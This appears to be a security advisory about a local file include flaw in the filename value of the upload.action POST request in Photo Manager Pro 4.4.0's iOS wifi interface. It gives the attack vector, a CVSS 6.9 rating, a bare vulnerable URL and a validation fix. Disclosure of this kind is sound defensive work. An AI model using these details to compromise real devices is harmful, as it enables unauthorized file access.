Product: Photo Manager Pro - iOS Mobile Web Application (Wifi) 4.4.0


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official 
Linkus Photo Manager Pro v4.4.0 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to 
unauthorized include local file/path requests or system specific path 
commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload.action` 
module. Remote attackers are able to inject own files with 
malicious `filename` values in the `upload.action` POST method request to 
compromise the mobile web-application. The local file/path include 
execution occcurs in the index dir listing of the wifi interface. The attacker 
is able to inject the local file include request by usage of 
the `wifi interface` in connection with the vulnerable upload service module.

Remote attackers are also able to exploit the filename validation issue in 
combination with persistent injected script codes to execute unique
local malicious attack requests. The attack vector is located on the 
application-side of the wifi service and the request method to inject is POST.
To exploit the bug it is required to use the local device > wifi sync or 
(remote) the wifi gui.

The security risk of the local file include web vulnerability is estimated as 
high with a cvss (common vulnerability scoring system) count of 6.9. 
Exploitation of the local file include vulnerability requires no user 
interaction or privileged web-application user account. Successful exploitation 
of the local file include web vulnerability results in mobile application or 
device compromise.

http://localhost:8080/disp_photo.action?filename=


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure validation of the filename value 
in the upload POST method request. Restrict the filename input and 
disallow special chars. Ensure that not multiple file extensions are loaded in 
the filename value to prevent arbitrary file upload attacks.


Security Risk:
==============
The security risk of thelocal file inelcude web vulnerability in the photo 
manager wifi service is estimated as high. (CVSS 6.9)
